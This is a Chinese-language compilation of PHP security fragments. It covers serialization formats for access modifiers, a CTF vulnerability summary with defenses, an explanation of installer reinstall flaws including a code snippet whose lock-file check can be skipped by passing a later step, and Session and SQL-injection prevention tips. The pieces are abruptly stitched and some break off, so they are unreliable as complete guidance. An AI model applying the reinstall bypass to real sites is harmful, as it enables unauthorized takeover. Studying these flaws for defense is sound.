创建⼀个PHP类:<?phpclass TestClass //定义⼀个类{//⼀个变量public $variable = 'This is a string';//⼀个⽅法public function PrintVariable(){echo $this->variable;}}//创建⼀个对象$object = new TestClass();//调⽤⼀个⽅法$object->PrintVariable();>public、protected、privatePHP 对属性或⽅法的访问控制,是通过在前⾯添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有):公有的类成员可以在任何地⽅被访问。
protected(受保护):受保护的类成员则可以被其⾃⾝以及其⼦类和⽗类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。
注意:不同修饰符序列化后的值不⼀样访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所⽰:public:属性被序列化的时候属性值会变成属性名protected:属性被序列化的时候属性值会变成\x00*\x00属性名private:属性被序列化的时候属性值会变成\x00类名\x00属性名其中:\x00表⽰空字符,但是还是占⽤⼀个字符位置魔术⽅法(magic函数)PHP中把以两个下划线__开头的⽅法称为魔术⽅法(Magic methods)类可能会包含⼀些特殊的函数:magic函数,这些函数在某些情况下会⾃动调⽤。
ctf php总结CTF PHP总结CTF(Capture The Flag)比赛是一种网络安全竞赛,旨在测试参赛者在网络安全领域的技能和知识。
在CTF比赛中,PHP常常是被攻击者利用的目标之一,因此了解PHP的一些常见漏洞和防御措施对于参赛者来说至关重要。
本文将总结一些常见的CTF PHP漏洞和相关防御方法。
一、PHP漏洞分类1. 文件包含漏洞:PHP中的文件包含函数(例如include、require)在不正确的使用情况下可能导致攻击者执行任意代码。
防御方法包括使用白名单、避免用户可控参数等。
2. SQL注入漏洞:当PHP代码未能正确地过滤和转义用户输入时,攻击者可能通过构造恶意的SQL语句来绕过身份验证、执行任意数据库操作等。
防御方法包括使用预处理语句、输入验证和过滤等。
3. 远程命令执行漏洞:当PHP代码未能正确地验证用户输入时,攻击者可能通过构造恶意的命令来执行任意系统命令。
防御方法包括使用白名单、输入验证和过滤等。
4. 文件上传漏洞:当PHP代码未能正确地验证和过滤用户上传的文件时,攻击者可能上传恶意文件并执行任意代码。
防御方法包括限制上传文件类型、文件扩展名验证和文件内容验证等。
5. 安全配置漏洞:PHP的一些配置参数可能会导致安全漏洞,例如关闭错误报告、开启全局变量等。
防御方法包括合理配置PHP参数、限制PHP函数的使用等。
二、PHP漏洞的防御措施1. 输入验证和过滤:对于用户输入的数据,应进行严格的验证和过滤,确保数据的合法性和安全性。
2. 使用预处理语句:对于与数据库交互的代码,应使用预处理语句,避免拼接SQL语句导致的SQL注入漏洞。
3. 最小权限原则:将PHP运行在最小权限的用户下,限制其对系统资源的访问权限,减少攻击者获取敏感信息的机会。
4. 文件上传限制:限制上传文件的类型、大小和存储位置,并对上传的文件进行严格的验证和过滤,确保文件的安全性。
5. 安全配置:合理配置PHP参数,关闭不必要的功能和服务,限制PHP函数的使用,减少攻击面。
论PHP 常见的漏洞WooYun 知识库首先拿到一份源码 肯定是先install 上。
而在安装文件上又会经常出现问题。
一般的安装文件在安装完成后 基本上都不会自动删除这个安装的文件 我遇到过的会自动删除的好像也就qibocms 了。
其他的基本都是通过生成一个lock 文件 来判断程序是否安装过了 如果存在这个lock 文件了 就会退出了。
这里首先 先来说一下安装文件经常出现的问题。
根本无验证。
这种的虽然不多 但是有时还是会遇到个。
在安装完成后 并不会自动删除文件 又不会生成lock 来判断是否安装过了。
导致了可以直接重装过例子: WooYun: PHPSHE B2C 重装。
安装file因为install 一般都会有step 步骤啥的。
Step 1 check 啥啥 step 2 是安装啥的。
而一些cms 默认step 是1 而step 又是GET 来的 而他check lock 的时候就是在step1里面。
这时候如果我们直接用GET 提交step 2 那么就直接进入下一步了 就没check lock 了。
例如某cms 中的安装文件1 2 3 4 5 6 7 8 9 if (empty ($step)){$step = 1;//当用户没有提交step 的时候 赋值为1}require_once ("includes/inc_install.php");$gototime = 2000;/*------------------------显示协议文件------------------------*/10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if ($step == 1) //当1才检测lock{if (file_exists('installed.txt')){echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/></head><body>你已经安装过该系统,如果想重新安装,请先删除install 目录下的 installed.txt 文件,然后再安装。
PHP常见漏洞的防范措施PHP常见漏洞的防范措施目前,基于PHP的网站开发已经成为目前网站开发的主流,下面整理了一些PHP常见漏洞的防范措施,希望对大家有所帮助!1、对于Session漏洞的防范从前面的分析可以知道,Session攻击最常见的就是会话劫持,也就是黑客通过各种攻击手段获取用户的Session ID,然后利用被攻击用户的身份来登录相应网站。
为此,这里可以用以下几种方法进行防范:一是定期更换Session ID,更换Session ID可以用PHP自带函数来实现;二是更换Session名称,通常情况下Session的默认名称是PHPSESSID,这个变量一般是在cookie中保存的,如果更改了它的名称,就可以阻档黑客的部分攻击;三是对透明化的Session ID进行关闭处理,所谓透明化也就是指在http请求没有使用cookies来制定Session id时,Sessioin id使用链接来传递.关闭透明化Session ID可以通过操作PHP.ini文件来实现;四是通过URL传递隐藏参数,这样可以确保即使黑客获取了session数据,但是由于相关参数是隐藏的,它也很难获得Session ID变量值。
2、对SQL注入漏洞的防范黑客进行SQL注入手段很多,而且灵活多变,但是SQL注人的共同点就是利用输入过滤漏洞。
因此,要想从根本上防止SQL注入,根本解决措施就是加强对请求命令尤其是查询请求命令的过滤。
具体来说,包括以下几点:一是把过滤性语句进行参数化处理,也就是通过参数化语句实现用户信息的输入而不是直接把用户输入嵌入到语句中。
二是在网站开发的时候尽可能少用解释性程序,黑客经常通过这种手段来执行非法命令;三是在网站开发时尽可能避免网站出现bug,否则黑客可能利用这些信息来攻击网站;仅仅通过防御SQL注入还是不够的,另外还要经常使用专业的漏洞扫描工具对网站进行漏洞扫描。
3、对脚本执行漏洞的防范黑客利用脚本执行漏洞进行攻击的手段是多种多样的,而且是灵活多变的,对此,必须要采用多种防范方法综合的手段,才能有效防止黑客对脚本执行漏洞进行攻击。